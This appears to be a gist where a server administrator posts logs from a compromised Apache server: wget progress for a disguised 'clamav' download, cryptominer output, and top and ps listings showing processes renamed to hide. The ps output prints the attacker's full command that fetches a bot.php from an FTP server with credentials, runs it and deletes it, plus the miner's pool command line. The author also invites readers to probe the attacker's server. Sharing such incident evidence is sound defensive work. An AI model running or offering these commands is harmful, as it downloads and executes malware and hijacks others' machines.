[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .. 26% 12.2K 25s
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] 100K .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:26 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:27 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:28 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] . 40% 16.1K 18s
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] 150K .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:29 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:30 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:31 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:32 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] . 53% 11.7K 14s
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] 200K .
[Sun Nov 03 02:05:33 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:34 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:35 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:36 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:37 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:38 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] .. 67% 9.09K 11s
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] 250K .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:39 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:40 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:41 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:42 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:42 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:43 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:44 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:45 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:47 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:47 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:48 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:49 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] . 80% 4.21K 8s
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] 300K ..
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:51 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:52 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:53 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:54 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:55 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] . 94% 8.77K 2s
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] 350K .
[Sun Nov 03 02:05:56 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:57 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:58 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:59 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] 100% 5.67K
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] =43s
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] 2013-11-03 02:06:00 (8.56 KB/s) - `clamav' saved [379680/379680]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Starting Stratum on stratum+tcp://mine.cc.st:3333
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 0 to cpu 0
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 2 to cpu 2
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 1 to cpu 1
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] 8 miner threads started, using 'scrypt' algorithm.
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 3 to cpu 3
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 6 to cpu 6
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 7 to cpu 7
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] chattr: Operation not permitted while setting flags on bash
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 4 to cpu 4
[Sun Nov 03 02:06:00 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:00] Binding thread 5 to cpu 5
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 3: 4096 hashes, 3.28 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 1: 4096 hashes, 3.20 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 7: 4096 hashes, 3.16 khash/s
[Sun Nov 03 02:06:02 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:02] thread 6: 4096 hashes, 3.06 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 2: 4096 hashes, 2.69 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 0: 4096 hashes, 2.65 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 5: 4096 hashes, 2.54 khash/s
[Sun Nov 03 02:06:03 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:03] thread 4: 4096 hashes, 2.93 khash/s
[Sun Nov 03 02:06:14 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:14] Stratum detected new block
[Sun Nov 03 02:06:14 2013] [error] [client 37.187.77.137] [2013-11-03 02:06:14] thread 7: 30880 hashes, 2.54 khash/s
Raw
zzz-top-output-etc.txt
$ top
top - 08:05:17 up 45 days, 9:33, 1 user, load average: 10.17, 10.20, 10.32
Tasks: 134 total, 3 running, 130 sleeping, 0 stopped, 1 zombie
Cpu(s): 17.9%us, 7.1%sy, 74.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 1.1%st
Mem: 1548148k total, 1103392k used, 444756k free, 109020k buffers
Swap: 524284k total, 218748k used, 305536k free, 234816k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27781 www-data 20 0 90624 796 676 S 597 0.1 2257:41 bash
27740 www-data 20 0 4892 2336 1304 R 100 0.2 249:33.75 upxA3NRZV0A1CY
23672 www-data 20 0 5020 2856 1284 R 99 0.2 1082:39 perl
26551 root 20 0 683m 453m 2452 S 1 30.0 204:05.42 btsync
1048 root 20 0 0 0 0 S 0 0.0 1:18.24 kjournald
31779 root 20 0 17348 7556 1548 S 0 0.5 0:16.69 ruby1.8
1 root 20 0 2108 40 12 S 0 0.0 0:47.73 init
2 root 20 0 0 0 0 S 0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0 0.0 0:08.82 ksoftirqd/0
5 root 20 0 0 0 0 S 0 0.0 0:00.03 kworker/u:0
6 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/0
7 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/1
8 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/1:0
9 root 20 0 0 0 0 S 0 0.0 0:03.99 ksoftirqd/1
10 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/2
11 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/2:0
12 root 20 0 0 0 0 S 0 0.0 0:03.27 ksoftirqd/2
13 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/3
14 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/3:0
15 root 20 0 0 0 0 S 0 0.0 0:03.06 ksoftirqd/3
16 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/4
17 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/4:0
18 root 20 0 0 0 0 S 0 0.0 0:03.01 ksoftirqd/4
19 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/5
20 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/5:0
21 root 20 0 0 0 0 S 0 0.0 0:03.17 ksoftirqd/5
22 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/6
23 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/6:0
24 root 20 0 0 0 0 S 0 0.0 0:03.38 ksoftirqd/6
25 root RT 0 0 0 0 S 0 0.0 0:00.00 migration/7
26 root 20 0 0 0 0 S 0 0.0 0:00.00 kworker/7:0
27 root 20 0 0 0 0 S 0 0.0 0:03.46 ksoftirqd/7
rick@smegatron:~$ ps auxwww | grep -i perl
rick 682 0.0 0.0 3960 776 pts/0 S+ 08:05 0:00 grep -i perl
rick@smegatron:~$ ps auxwww | grep perl
rick 684 0.0 0.0 3960 764 pts/0 S+ 08:05 0:00 grep perl
rick@smegatron:~$ ps auxwww | grep perl
rick 686 0.0 0.0 3960 768 pts/0 S+ 08:05 0:00 grep perl
rick@smegatron:~$ ps auxwww | grep upx
rick 688 0.0 0.0 3960 764 pts/0 S+ 08:05 0:00 grep upx
rick@smegatron:~$ ps auxwww | grep -i www-data
www-data 494 0.0 0.4 45924 7596 ? S 07:42 0:00 /usr/sbin/apache2 -k start
www-data 574 0.0 0.4 45916 7552 ? S 07:55 0:00 /usr/sbin/apache2 -k start
www-data 594 0.0 0.4 45924 7660 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 595 0.0 0.4 45924 7536 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 599 0.0 0.4 45924 7592 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 605 0.0 0.4 45924 7612 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 608 0.0 0.6 46224 10708 ? S 07:56 0:00 /usr/sbin/apache2 -k start
www-data 651 0.0 0.4 45788 7408 ? S 08:04 0:00 /usr/sbin/apache2 -k start
www-data 652 0.0 0.4 45788 7384 ? S 08:05 0:00 /usr/sbin/apache2 -k start
www-data 654 0.0 0.4 45788 7376 ? S 08:05 0:00 /usr/sbin/apache2 -k start
rick 692 0.0 0.0 3960 776 pts/0 S+ 08:05 0:00 grep -i www-data
www-data 23672 99.8 0.1 5020 2856 ? R Nov02 1083:17 sysprot
www-data 27629 0.0 0.4 45924 7044 ? S 01:46 0:00 /usr/sbin/apache2 -k start
www-data 27693 0.0 0.0 0 0 ? Z 02:04 0:00 [php] <defunct>
www-data 27701 0.0 0.0 3032 1232 ? S 02:04 0:00 sh -c cd /tmp ; wget ftp://ftp:wer234234@80.79.48.186/bot.php ; curl -O ftp://ftp:wer234234@80.79.48.186/bot.php ; fetch ftp://ftp:wer234234@80.79.48.186/bot.php; php bot.php ; rm -rf bot.php
www-data 27720 0.0 0.4 37000 7476 ? S 02:04 0:00 php bot.php
www-data 27740 69.3 0.1 4892 2336 ? R 02:04 250:11 init [3]
www-data 27781 628 0.0 90624 796 ? Ssl 02:06 2261:25 bash -o stratum+tcp://mine.cc.st:3333 -O geox.1:x -B
www-data 31771 0.0 0.2 34412 4392 ? S 06:25 0:00 /usr/sbin/apache2 -k start
Note that proclines are changed between top and ps. Shit like `init [3]` and `sysprot` are names given to the processes to attempt to hide in ps output.
Anyone want to climb upstream to `ftp://ftp:wer234234@80.79.48.186/` and see another instance still alive?
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment